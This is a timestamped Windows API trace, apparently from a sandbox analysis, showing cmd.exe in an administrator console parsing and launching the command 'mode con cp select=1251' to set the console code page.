	[0036.297] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a7dc320, cbMultiByte=1, lpWideCharStr=0x4a7de346, cchWideChar=1 | out: lpWideCharStr="1") returned 1
	[0036.297] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0036.297] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0036.297] ReadFile (in: hFile=0xe8, lpBuffer=0x4a7dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a7dc320*, lpNumberOfBytesRead=0x15fb38*=0x1, lpOverlapped=0x0) returned 1
	[0036.297] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a7dc320, cbMultiByte=1, lpWideCharStr=0x4a7de348, cchWideChar=1 | out: lpWideCharStr="2") returned 1
	[0036.297] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0036.297] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0036.297] ReadFile (in: hFile=0xe8, lpBuffer=0x4a7dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a7dc320*, lpNumberOfBytesRead=0x15fb38*=0x1, lpOverlapped=0x0) returned 1
	[0036.297] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a7dc320, cbMultiByte=1, lpWideCharStr=0x4a7de34a, cchWideChar=1 | out: lpWideCharStr="5") returned 1
	[0036.297] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0036.297] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0036.297] ReadFile (in: hFile=0xe8, lpBuffer=0x4a7dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a7dc320*, lpNumberOfBytesRead=0x15fb38*=0x1, lpOverlapped=0x0) returned 1
	[0036.298] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a7dc320, cbMultiByte=1, lpWideCharStr=0x4a7de34c, cchWideChar=1 | out: lpWideCharStr="1") returned 1
	[0036.298] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0036.298] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0036.298] ReadFile (in: hFile=0xe8, lpBuffer=0x4a7dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a7dc320*, lpNumberOfBytesRead=0x15fb38*=0x1, lpOverlapped=0x0) returned 1
	[0036.298] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a7dc320, cbMultiByte=1, lpWideCharStr=0x4a7de34e, cchWideChar=1 | out: lpWideCharStr="\n") returned 1
	[0036.298] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0036.298] GetFileType (hFile=0xe8) returned 0x3
	[0036.298] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0036.298] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0036.298] _get_osfhandle (_FileHandle=1) returned 0xf4
	[0036.298] GetFileType (hFile=0xf4) returned 0x3
	[0036.298] _get_osfhandle (_FileHandle=1) returned 0xf4
	[0036.298] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="mode con cp select=1251\n", cchWideChar=-1, lpMultiByteStr=0x4a7dc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mode con cp select=1251\n", lpUsedDefaultChar=0x0) returned 25
	[0036.298] WriteFile (in: hFile=0xf4, lpBuffer=0x4a7dc320*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x15fb18, lpOverlapped=0x0 | out: lpBuffer=0x4a7dc320*, lpNumberOfBytesWritten=0x15fb18*=0x18, lpOverlapped=0x0) returned 1
	[0036.299] GetProcessHeap () returned 0x170000
	[0036.299] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x4012) returned 0x18cd20
	[0036.299] GetProcessHeap () returned 0x170000
	[0036.299] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18cd20 | out: hHeap=0x170000) returned 1
	[0036.299] _wcsicmp (_String1="mode", _String2=")") returned 68
	[0036.299] _wcsicmp (_String1="FOR", _String2="mode") returned -7
	[0036.299] _wcsicmp (_String1="FOR/?", _String2="mode") returned -7
	[0036.299] _wcsicmp (_String1="IF", _String2="mode") returned -4
	[0036.299] _wcsicmp (_String1="IF/?", _String2="mode") returned -4
	[0036.299] _wcsicmp (_String1="REM", _String2="mode") returned 5
	[0036.299] _wcsicmp (_String1="REM/?", _String2="mode") returned 5
	[0036.299] GetProcessHeap () returned 0x170000
	[0036.299] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0xb0) returned 0x1897e0
	[0036.299] GetProcessHeap () returned 0x170000
	[0036.299] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x1a) returned 0x184610
	[0036.300] GetProcessHeap () returned 0x170000
	[0036.300] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x38) returned 0x186510
	[0036.301] GetConsoleOutputCP () returned 0x1b5
	[0036.301] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a7dbfe0 | out: lpCPInfo=0x4a7dbfe0) returned 1
	[0036.301] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0036.301] GetConsoleTitleW (in: lpConsoleTitle=0x15fad0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a
	[0036.301] _wcsicmp (_String1="mode", _String2="DIR") returned 9
	[0036.302] _wcsicmp (_String1="mode", _String2="ERASE") returned 8
	[0036.302] _wcsicmp (_String1="mode", _String2="DEL") returned 9
	[0036.302] _wcsicmp (_String1="mode", _String2="TYPE") returned -7
	[0036.302] _wcsicmp (_String1="mode", _String2="COPY") returned 10
	[0036.302] _wcsicmp (_String1="mode", _String2="CD") returned 10
	[0036.302] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10
	[0036.302] _wcsicmp (_String1="mode", _String2="RENAME") returned -5
	[0036.302] _wcsicmp (_String1="mode", _String2="REN") returned -5
	[0036.302] _wcsicmp (_String1="mode", _String2="ECHO") returned 8
	[0036.302] _wcsicmp (_String1="mode", _String2="SET") returned -6
	[0036.302] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3
	[0036.302] _wcsicmp (_String1="mode", _String2="DATE") returned 9
	[0036.302] _wcsicmp (_String1="mode", _String2="TIME") returned -7
	[0036.302] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3
	[0036.302] _wcsicmp (_String1="mode", _String2="MD") returned 11
	[0036.302] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4
	[0036.302] _wcsicmp (_String1="mode", _String2="RD") returned -5
	[0036.302] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5
	[0036.302] _wcsicmp (_String1="mode", _String2="PATH") returned -3
	[0036.302] _wcsicmp (_String1="mode", _String2="GOTO") returned 6
	[0036.302] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6
	[0036.302] _wcsicmp (_String1="mode", _String2="CLS") returned 10
	[0036.302] _wcsicmp (_String1="mode", _String2="CALL") returned 10
	[0036.302] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9
	[0036.302] _wcsicmp (_String1="mode", _String2="VER") returned -9
	[0036.302] _wcsicmp (_String1="mode", _String2="VOL") returned -9
	[0036.302] _wcsicmp (_String1="mode", _String2="EXIT") returned 8
	[0036.302] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6
	[0036.302] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8
	[0036.302] _wcsicmp (_String1="mode", _String2="TITLE") returned -7
	[0036.302] _wcsicmp (_String1="mode", _String2="START") returned -6
	[0036.302] _wcsicmp (_String1="mode", _String2="DPATH") returned 9
	[0036.302] _wcsicmp (_String1="mode", _String2="KEYS") returned 2
	[0036.302] _wcsicmp (_String1="mode", _String2="MOVE") returned -18
	[0036.302] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3
	[0036.302] _wcsicmp (_String1="mode", _String2="POPD") returned -3
	[0036.303] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12
	[0036.303] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7
	[0036.303] _wcsicmp (_String1="mode", _String2="BREAK") returned 11
	[0036.303] _wcsicmp (_String1="mode", _String2="COLOR") returned 10
	[0036.303] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4
	[0036.303] _wcsicmp (_String1="mode", _String2="DIR") returned 9
	[0036.303] _wcsicmp (_String1="mode", _String2="ERASE") returned 8
	[0036.303] _wcsicmp (_String1="mode", _String2="DEL") returned 9
	[0036.303] _wcsicmp (_String1="mode", _String2="TYPE") returned -7
	[0036.303] _wcsicmp (_String1="mode", _String2="COPY") returned 10
	[0036.303] _wcsicmp (_String1="mode", _String2="CD") returned 10
	[0036.303] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10
	[0036.303] _wcsicmp (_String1="mode", _String2="RENAME") returned -5
	[0036.303] _wcsicmp (_String1="mode", _String2="REN") returned -5
	[0036.303] _wcsicmp (_String1="mode", _String2="ECHO") returned 8
	[0036.303] _wcsicmp (_String1="mode", _String2="SET") returned -6
	[0036.303] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3
	[0036.303] _wcsicmp (_String1="mode", _String2="DATE") returned 9
	[0036.303] _wcsicmp (_String1="mode", _String2="TIME") returned -7
	[0036.303] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3
	[0036.303] _wcsicmp (_String1="mode", _String2="MD") returned 11
	[0036.303] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4
	[0036.303] _wcsicmp (_String1="mode", _String2="RD") returned -5
	[0036.303] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5
	[0036.303] _wcsicmp (_String1="mode", _String2="PATH") returned -3
	[0036.303] _wcsicmp (_String1="mode", _String2="GOTO") returned 6
	[0036.303] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6
	[0036.303] _wcsicmp (_String1="mode", _String2="CLS") returned 10
	[0036.303] _wcsicmp (_String1="mode", _String2="CALL") returned 10
	[0036.303] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9
	[0036.303] _wcsicmp (_String1="mode", _String2="VER") returned -9
	[0036.303] _wcsicmp (_String1="mode", _String2="VOL") returned -9
	[0036.303] _wcsicmp (_String1="mode", _String2="EXIT") returned 8
	[0036.303] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6
	[0036.303] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8
	[0036.303] _wcsicmp (_String1="mode", _String2="TITLE") returned -7
	[0036.303] _wcsicmp (_String1="mode", _String2="START") returned -6
	[0036.303] _wcsicmp (_String1="mode", _String2="DPATH") returned 9
	[0036.304] _wcsicmp (_String1="mode", _String2="KEYS") returned 2
	[0036.304] _wcsicmp (_String1="mode", _String2="MOVE") returned -18
	[0036.304] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3
	[0036.304] _wcsicmp (_String1="mode", _String2="POPD") returned -3
	[0036.304] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12
	[0036.304] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7
	[0036.304] _wcsicmp (_String1="mode", _String2="BREAK") returned 11
	[0036.304] _wcsicmp (_String1="mode", _String2="COLOR") returned 10
	[0036.304] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4
	[0036.304] _wcsicmp (_String1="mode", _String2="FOR") returned 7
	[0036.304] _wcsicmp (_String1="mode", _String2="IF") returned 4
	[0036.304] _wcsicmp (_String1="mode", _String2="REM") returned -5
	[0036.304] GetProcessHeap () returned 0x170000
	[0036.304] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x218) returned 0x171ab0
	[0036.304] GetProcessHeap () returned 0x170000
	[0036.304] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x42) returned 0x1898a0
	[0036.304] _wcsnicmp (_String1="mode", _String2="cmd ", _MaxCount=0x4) returned 10
	[0036.304] GetProcessHeap () returned 0x170000
	[0036.304] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x420) returned 0x189a80
	[0036.304] SetErrorMode (uMode=0x0) returned 0x0
	[0036.304] SetErrorMode (uMode=0x1) returned 0x0
	[0036.305] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x189a90, lpFilePart=0x15f360 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x15f360*="Desktop") returned 0x25
	[0036.305] SetErrorMode (uMode=0x0) returned 0x1
	[0036.305] GetProcessHeap () returned 0x170000
	[0036.305] RtlReAllocateHeap (Heap=0x170000, Flags=0x0, Ptr=0x189a80, Size=0x66) returned 0x189a80
	[0036.305] GetProcessHeap () returned 0x170000
	[0036.305] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x189a80) returned 0x66
	[0036.305] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a7cf360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0036.305] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0036.305] GetProcessHeap () returned 0x170000
	[0036.305] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x128) returned 0x171cd0
	[0036.305] GetProcessHeap () returned 0x170000
	[0036.305] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x240) returned 0x189b00
	[0036.311] GetProcessHeap () returned 0x170000
	[0036.311] RtlReAllocateHeap (Heap=0x170000, Flags=0x0, Ptr=0x189b00, Size=0x12a) returned 0x189b00
	[0036.311] GetProcessHeap () returned 0x170000
	[0036.311] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x189b00) returned 0x12a
	[0036.311] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a7cf360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0036.311] GetProcessHeap () returned 0x170000
	[0036.311] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0xe8) returned 0x185b70
	[0036.311] GetProcessHeap () returned 0x170000
	[0036.311] RtlReAllocateHeap (Heap=0x170000, Flags=0x0, Ptr=0x185b70, Size=0x7e) returned 0x185b70
	[0036.311] GetProcessHeap () returned 0x170000
	[0036.311] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x185b70) returned 0x7e
	[0036.313] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0036.314] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mode.*", fInfoLevelId=0x1, lpFindFileData=0x15f0d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15f0d0) returned 0xffffffffffffffff
	[0036.314] GetLastError () returned 0x2
	[0036.314] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mode", fInfoLevelId=0x1, lpFindFileData=0x15f0d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15f0d0) returned 0xffffffffffffffff
	[0036.314] GetLastError () returned 0x2
	[0036.314] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0036.314] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\mode.*", fInfoLevelId=0x1, lpFindFileData=0x15f0d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15f0d0) returned 0x185c00
	[0036.314] GetProcessHeap () returned 0x170000
	[0036.314] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x28) returned 0x184640
	[0036.314] FindClose (in: hFindFile=0x185c00 | out: hFindFile=0x185c00) returned 1
	[0036.314] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\mode.COM", fInfoLevelId=0x1, lpFindFileData=0x15f0d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15f0d0) returned 0x185c00
	[0036.315] GetProcessHeap () returned 0x170000
	[0036.315] RtlReAllocateHeap (Heap=0x170000, Flags=0x0, Ptr=0x184640, Size=0x8) returned 0x1898f0
	[0036.315] FindClose (in: hFindFile=0x185c00 | out: hFindFile=0x185c00) returned 1
	[0036.315] _wcsicmp (_String1=".COM", _String2=".BAT") returned 1
	[0036.315] _wcsicmp (_String1=".COM", _String2=".CMD") returned 2
	[0036.315] GetConsoleTitleW (in: lpConsoleTitle=0x15f620, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a
	[0036.315] GetProcessHeap () returned 0x170000
	[0036.315] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x21c) returned 0x189c40
	[0036.315] GetConsoleTitleW (in: lpConsoleTitle=0x189c50, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a
	[0036.315] GetProcessHeap () returned 0x170000
	[0036.315] RtlReAllocateHeap (Heap=0x170000, Flags=0x0, Ptr=0x189c40, Size=0xa8) returned 0x189c40
	[0036.315] GetProcessHeap () returned 0x170000
	[0036.315] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x189c40) returned 0xa8
	[0036.315] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - mode  con cp select=1251") returned 1
	[0036.316] GetProcessHeap () returned 0x170000
	[0036.316] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x189c40 | out: hHeap=0x170000) returned 1
	[0036.316] InitializeProcThreadAttributeList (in: lpAttributeList=0x15f3d8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x15f398 | out: lpAttributeList=0x15f3d8, lpSize=0x15f398) returned 1
	[0036.316] UpdateProcThreadAttribute (in: lpAttributeList=0x15f3d8, dwFlags=0x0, Attribute=0x60001, lpValue=0x15f388, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x15f3d8, lpPreviousValue=0x0) returned 1
	[0036.316] GetStartupInfoW (in: lpStartupInfo=0x15f4f0 | out: lpStartupInfo=0x15f4f0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4)) 
	[0036.316] GetProcessHeap () returned 0x170000
	[0036.316] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x20) returned 0x184640
	[0036.316] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0036.316] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0036.316] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0036.316] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0036.316] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0036.316] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0036.316] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0036.316] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0036.316] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3
	[0036.316] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0036.316] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0036.316] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0036.316] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0036.316] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0036.316] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0036.316] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0036.316] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0036.316] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0036.316] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0036.317] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0036.317] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0036.317] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0036.317] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0036.317] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0036.317] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0036.317] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0036.317] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0036.317] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0036.317] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0036.317] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0036.317] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0036.317] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0036.317] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0036.317] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0036.317] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0036.317] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0036.317] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0036.317] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0036.317] GetProcessHeap () returned 0x170000
	[0036.317] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x184640 | out: hHeap=0x170000) returned 1
	[0036.317] GetProcessHeap () returned 0x170000
	[0036.317] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x12) returned 0x188900
	[0036.317] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\mode.com", lpCommandLine="mode  con cp select=1251", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x15f410*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="mode  con cp select=1251", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x15f3c0 | out: lpCommandLine="mode  con cp select=1251", lpProcessInformation=0x15f3c0*(hProcess=0x54, hThread=0x50, dwProcessId=0x968, dwThreadId=0x96c)) returned 1
	[0036.324] CloseHandle (hObject=0x50) returned 1
	[0036.324] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0036.324] GetProcessHeap () returned 0x170000
	[0036.324] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c230 | out: hHeap=0x170000) returned 1
	[0036.324] GetEnvironmentStringsW () returned 0x18aa10*
	[0036.324] GetProcessHeap () returned 0x170000
	[0036.324] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0xae8) returned 0x18b500
	[0036.324] FreeEnvironmentStringsW (penv=0x18aa10) returned 1
	[0036.324] LoadLibraryW (lpLibFileName="NTDLL.DLL") returned 0x76f50000
	[0036.324] GetProcAddress (hModule=0x76f50000, lpProcName="NtQueryInformationProcess") returned 0x76fa14a0
	[0036.324] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x15ecc8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x15ecc8, ReturnLength=0x0) returned 0x0
	[0036.324] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffd4000, lpBuffer=0x15ed00, nSize=0x380, lpNumberOfBytesRead=0x15ecc0 | out: lpBuffer=0x15ed00*, lpNumberOfBytesRead=0x15ecc0*=0x380) returned 1
	[0036.325] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0
	[0036.739] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x15f308 | out: lpExitCode=0x15f308*=0x0) returned 1
	[0036.739] CloseHandle (hObject=0x54) returned 1
	[0036.740] _vsnwprintf (in: _Buffer=0x15f578, _BufferCount=0x13, _Format="%08X", _ArgList=0x15f318 | out: _Buffer="00000000") returned 8
	[0036.740] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1
	[0036.740] GetProcessHeap () returned 0x170000
	[0036.740] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18b500 | out: hHeap=0x170000) returned 1
	[0036.740] GetEnvironmentStringsW () returned 0x18aa10*
	[0036.740] GetProcessHeap () returned 0x170000
	[0036.740] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0xb0e) returned 0x18eb10
	[0036.740] FreeEnvironmentStringsW (penv=0x18aa10) returned 1
	[0036.740] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0036.740] GetProcessHeap () returned 0x170000
	[0036.740] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18eb10 | out: hHeap=0x170000) returned 1
	[0036.740] GetEnvironmentStringsW () returned 0x18aa10*
	[0036.740] GetProcessHeap () returned 0x170000
	[0036.740] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0xb0e) returned 0x18eb10
	[0036.740] FreeEnvironmentStringsW (penv=0x18aa10) returned 1
	[0036.740] GetProcessHeap () returned 0x170000
	[0036.740] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x188900 | out: hHeap=0x170000) returned 1
	[0036.740] DeleteProcThreadAttributeList (in: lpAttributeList=0x15f3d8 | out: lpAttributeList=0x15f3d8) 
	[0036.741] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1
	[0036.742] _get_osfhandle (_FileHandle=1) returned 0xf4
	[0036.742] SetConsoleMode (hConsoleHandle=0xf4, dwMode=0x0) returned 0
	[0036.742] _get_osfhandle (_FileHandle=1) returned 0xf4
	[0036.742] GetConsoleMode (in: hConsoleHandle=0xf4, lpMode=0x4a7ce194 | out: lpMode=0x4a7ce194) returned 0
	[0036.742] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0036.742] GetConsoleMode (in: hConsoleHandle=0xe8, lpMode=0x4a7ce198 | out: lpMode=0x4a7ce198) returned 0
	[0036.743] GetConsoleOutputCP () returned 0x4e3
	[0036.743] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x4a7dbfe0 | out: lpCPInfo=0x4a7dbfe0) returned 1
	[0036.743] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0036.743] GetProcessHeap () returned 0x170000
	[0036.743] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x185b70 | out: hHeap=0x170000) returned 1
	[0036.743] GetProcessHeap () returned 0x170000
